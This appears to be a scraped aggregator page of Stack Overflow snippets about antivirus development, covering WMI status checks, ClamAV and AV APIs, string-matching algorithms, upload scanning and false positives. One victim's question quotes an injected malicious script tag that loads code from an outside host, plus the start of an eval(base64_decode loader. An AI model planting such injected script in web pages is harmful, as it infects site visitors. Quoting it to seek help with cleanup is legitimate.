antivirus

Check anti-virus status in C#

好久不见. 提交于 2019-12-04 14:48:26
I need to check a group of servers to see whether the anti virus is up-to-date and running. Tricky thing is that they are spread over Windows 2003 and 2008 servers and I need to be able to check them all. Is there any way of doing this with C# or VB.NET? I have briefly looked around using WMI, but it appears on 2008/win7 computers Microsoft has changed what information they give back to you. In summary, I need the following: AV name AV version AV Up-to-Date AV Enabled/Running Can anyone help? Sample can be found here using WMI as you mentioned. The poster states this is being done on a Win 7

Is there any Anti Virus product which provides a .Net (or COM) API?

会有一股神秘感。 提交于 2019-12-04 11:54:08
We need to send uploaded files from our CMS website to any antivirus product as a POC. Are there any AV products out there that provide a .Net/COM API. Clam AntiVirus has an API available under the GNU GPL which you can probably wrap up with SWIG . If for any reason you don't want their code in your process, you can also use their (very simple) socket protocol: open a socket and send it SCAN filename , or send it STREAM and it will send back a port number to which you can then send a byte stream to scan. You can check out Microsoft's Antivirus API . I believe it provides a way for an

How does Firefox Version 3 invoke the anti-virus feature on Windows to scan a download?

断了今生、忘了曾经 提交于 2019-12-04 10:08:39
Another question on StackOverflow is asking how this is done, but the general question of how Firefox manages this is even more useful, and would answer that question also. Without reading all the source code to firefox (I haven't time) - is anyone familiar enough with Firefox V3's ability to invoke a scan on any downloaded EXE file to know how it works? I would think any anti-virus program with active protection would hook into windows and be run automatically. Does firefox detect these hooks and bring them up by creating a windows folder and moving the file after it is downloaded from a

Aho-Corasick-like algorithm for use in anti-malware code

你离开我真会死。 提交于 2019-12-04 09:11:36
Is there an algorithm like Aho-Corasick , which can match a set of patterns simultaneously and is applicable to be used in anti-malware comparison? Do all known commercial antivirus software use the Aho-Corasick algorithm? What are the advantages of the Aho-Corasick algorithm over Boyer-Moore ? parapura rajkumar Boyer-Moore : For searching one string in another target string Aho-Corasick : For searching multiple patterns simultaneously So the advantage being that Aho-Corasick is optimal if you want to search lot of patterns simultaneously in one pass. Rabin-Karp string search can also match

Run a Virus Scan While Uploading files in ASP.NET

◇◆丶佛笑我妖孽 提交于 2019-12-04 08:59:28
问题 I have developed a web based application in ASP.NET and C# where users have the facility to upload files on the server through this application I want the application to Scan the uploaded files for viruses before saving on the server. Same like when we attach files with our email in Yahoo. Please guide me how I can achieve this functionality Any API which can be integrated in ASP.NET application or any other way you can suggest. We can purchase the licensed version of a product which can

Why does AVG(antivirus) detect an executable produced from Dev-C++ as a virus?

╄→гoц情女王★ 提交于 2019-12-04 03:44:48
I created a default Dev-C++ project and instead of the usual return 0; , it had return EXIT_SUCCESS; and upon compiling and running it, I was alerted by my antivirus that the executable was a virus. I tried the same code with Visual C++, Eclipse and Codeblocks and they all compiled it successfully … so I am a bit confused here.. — Why does AVG detect executables produced from Dev-C++ with the line return EXIT_SUCCESS; as a virus when other similar macros work perfectly fine? Why is AVG labeling my C++ program a virus? For example, here is a C++ program that AVG detects as a virus: #include

How can i remove an iframe virus from all of php files on my website?

此生再无相见时 提交于 2019-12-03 21:49:11
I have a problem about removing a virus code from my php files. There are more than 1200 php files in my server and every single php file has been infected by a virus. Virus code adding this line to html output <script src="http://holasionweb.com/oo.php"></script> This is the code of virus <?php /**/ eval(base64_decode(

How can I test my applications against the popular virus scanners?

假装没事ソ 提交于 2019-12-03 13:54:43
I need to find out whether my apps are being flagged as viruses by the most popular anti-virus packages (not best, but biggest by user base). I therefore would like to know how others go about this. Some background: I have an application written in Delphi. Ever since the Delphi virus was found, I've had problems with false positives on my applications, particularly my demonstration versions for some reason (they all share the same code). AVG has been good, and I can now whitelist my files easily, but then I got the latest DevExpress installer and it was false-positived too. Given this is

Server side virus scanning [closed]

杀马特。学长 韩版系。学妹 提交于 2019-12-03 13:31:42
Closed. This question is off-topic. It is not currently accepting answers. Learn more . Want to improve this question? Update the question so it's on-topic for Stack Overflow. I need to scan uploaded files for viruses on a Linux server, but I'm not sure how to go about it. What are my options, if any? I'm also interested in how the scanners perform when multiple users send multiple files at the same time. I would have a look at Clam AntiVirus . It provides a clamscan program that can scan a given file and return a pass/fail indication. It's free and automatically updates its database regularly

Run a Virus Scan While Uploading files in ASP.NET

流过昼夜 提交于 2019-12-03 05:50:41
I have developed a web based application in ASP.NET and C# where users have the facility to upload files on the server through this application I want the application to Scan the uploaded files for viruses before saving on the server. Same like when we attach files with our email in Yahoo. Please guide me how I can achieve this functionality Any API which can be integrated in ASP.NET application or any other way you can suggest. We can purchase the licensed version of a product which can achieve this. I have googled but did not find specific results. Thanks in advance! Just purchase antivirus